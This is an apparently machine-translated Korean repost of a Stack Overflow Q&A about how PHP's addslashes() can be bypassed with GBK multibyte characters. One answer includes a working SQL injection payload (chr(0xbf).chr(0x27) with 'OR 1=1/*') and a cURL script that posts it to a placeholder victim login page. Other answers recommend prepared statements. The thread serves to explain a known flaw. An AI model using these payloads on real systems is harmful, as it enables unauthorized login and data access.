addslashes ()를 통한 SQL 삽입 예제?
PHPaddslashes ()를 통한 SQL 삽입 예제?
PHP에서, mysql_real_escape은 addslashes를 사용하는 것보다 훨씬 안전하다는 것을 알고 있습니다. 그러나, addslashes가 SQL Injection을 발생시키는 상황을 발견 할 수 없었습니다.
누구든지 몇 가지 예를들 수 있습니까?
해결법
-
==============================
1.음, 여기에 원하는 기사가 있습니다.
음, 여기에 원하는 기사가 있습니다.
기본적으로 공격이 작동하는 방식은 addslashes ()가 유효한 멀티 바이트 시퀀스의 일부로 백 슬래시가 의미를 잃어 버리는 멀티 바이트 문자의 중간에 백 슬래시를 넣는 것입니다.
기사의 일반적인주의 사항 :
-
==============================
2.Chris Shiflett는 데이터베이스에서 GBK 인코딩을 사용할 때이를 시도해 볼 때 위의 예를 통해 명확하게 설명합니다. 비록 그것을 시도해 보아도 SQL 주입 기회는 매우 적지 만 좋은 지식과 능력을 가진 사람은 쉽게 주입 할 수 있습니다. 여기 예제가 있습니다 ...
Chris Shiflett는 데이터베이스에서 GBK 인코딩을 사용할 때이를 시도해 볼 때 위의 예를 통해 명확하게 설명합니다. 비록 그것을 시도해 보아도 SQL 주입 기회는 매우 적지 만 좋은 지식과 능력을 가진 사람은 쉽게 주입 할 수 있습니다. 여기 예제가 있습니다 ...
<?php $mysql = array(); $db = mysqli_init(); $db->real_connect('localhost', 'myuser', 'mypass', 'mydb'); /* SQL Injection Example */ $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*'; $_POST['password'] = 'guess'; $mysql['username'] = addslashes($_POST['username']); $mysql['password'] = addslashes($_POST['password']); $sql = "SELECT * FROM users WHERE username = '{$mysql['username']}' AND password = '{$mysql['password']}'"; $result = $db->query($sql); if ($result->num_rows) { /* Success */ } else { /* Failure */ } ?>
addslashes () 또는 magic_quotes_gpc의 사용은 일반적으로 다소 안전한 것으로 간주되지만 GBK를 사용하면 거의 쓸모 없게됩니다. 다음 PHP cURL 스크립트를 사용하면 주사를 사용할 수 있습니다.이 도움말이 도움이되기를 바랍니다.
<?php $url = "http://www.victimsite.com/login.php"; $ref = "http://www.victimsite.com/index.php"; $session = "PHPSESSID=abcdef01234567890abcdef01"; $ch = curl_init(); curl_setopt( $ch, CURLOPT_URL, $url ); curl_setopt( $ch, CURLOPT_REFERER, $ref ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE ); curl_setopt( $ch, CURLOPT_COOKIE, $session ); curl_setopt( $ch, CURLOPT_POST, TRUE ); curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) . "OR 1=1/*&submit=1" ); $data = curl_exec( $ch ); print( $data ); curl_close( $ch ); ?>
-
==============================
3.여기에 답변의 독자를위한 추가 사항 :이 MySQL 버그는 이미 수정되었습니다 :)
여기에 답변의 독자를위한 추가 사항 :이 MySQL 버그는 이미 수정되었습니다 :)
또한 준비된 문장을 사용하는 것이 항상 좋은 습관입니다. 쿼리를 실행할 수있는 가장 악용되지 않는 방법입니다 (여러 가지 사용 사례에서 가장 많이 사용하는 경우). 그리고 그것은 당신을이 결함으로부터 구해 냈을 것입니다.
-
==============================
4.mysql_real_escape_string ()과 Prepared Statements는 mysql_real_escape_string ()이 100 % 안전하지 않다는 것을 명확히 설명한다.
mysql_real_escape_string ()과 Prepared Statements는 mysql_real_escape_string ()이 100 % 안전하지 않다는 것을 명확히 설명한다.
mysql_set_charset ( 'GBK')를 사용하여 mysql_query ( "SET CHARACTER SET 'GBK'")를 대체하면 mysql_real_escape_string ()은 100 % 안전 할 수있다.
from https://stackoverflow.com/questions/860954/examples-of-sql-injections-through-addslashes by cc-by-sa and MIT license
'PHP' 카테고리의 다른 글
가변 크기 변수 목록을 가진 MySQL Prepared 문 (0) | 2018.09.16 |
---|---|
어떻게 PHP에서 .bat 파일을 실행합니까? (0) | 2018.09.15 |
onClick으로 PHP 기능 실행 (0) | 2018.09.15 |
CURLOPT_POSTFIELDS에 대한 말풍선 POST 형식 (0) | 2018.09.15 |
`$ HTTP_RAW_POST_DATA`에 대한 경고 (0) | 2018.09.15 |